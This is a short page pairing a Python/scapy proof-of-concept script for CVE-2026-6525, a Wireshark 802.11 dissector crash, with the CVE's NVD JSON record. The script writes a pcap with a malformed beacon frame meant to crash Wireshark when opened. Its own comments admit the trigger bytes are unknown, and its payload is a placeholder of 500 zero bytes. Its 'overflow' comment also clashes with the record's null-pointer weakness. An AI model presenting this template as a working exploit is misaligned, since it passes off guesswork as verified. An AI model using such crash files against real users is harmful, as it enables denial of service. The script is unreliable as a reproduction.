CVE-2026-6525

# PoC for CVE-2026-6525 (Wireshark IEEE 802.11 Dissector Crash) # This script generates a pcap file with a malformed 802.11 frame. # Note: Specific trigger bytes depend on the exact root cause analysis. from scapy.all import * import sys # Construct a malformed 802.11 Beacon frame # Type: Management (0), Subtype: Beacon (8) pkt = Dot11(type=0, subtype=8, addr1="ff:ff:ff:ff:ff:ff", addr2="00:11:22:33:44:55", addr3="00:11:22:33:44:55") # Add a malformed payload or tag to trigger the crash # Adjust payload length or content based on vulnerability specifics malformed_payload = b"\x00" * 500 # Example: Excessive length causing overflow pkt = pkt / malformed_payload # Save the packet to a pcap file wrpcap("cve_2026_6525_poc.pcap", pkt) print("[+] PoC file generated: cve_2026_6525_poc.pcap") print("[+] Open this file in Wireshark 4.6.0 - 4.6.4 to reproduce the crash.")

{"cve": {"id": "CVE-2026-6525", "sourceIdentifier": "[email protected]", "published": "2026-05-02T12:16:16.887", "lastModified": "2026-05-05T15:42:55.010", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IEEE 802.11 protocol dissector crash in Wireshark 4.6.0 to 4.6.4"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.6.0", "versionEndExcluding": "4.6.5", "matchCriteriaId": "1D804272-AD4D-4454-9629-1BBAA825D7C4"}]}]}], "references": [{"url": "https://gitlab.com/wireshark/wireshark/-/work_items/21008", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Patch"]}, {"url": "https://www.wireshark.org/security/wnpa-sec-2026-36.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://gitlab.com/wireshark/wireshark/-/work_items/21008", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking", "Patch"]}]}}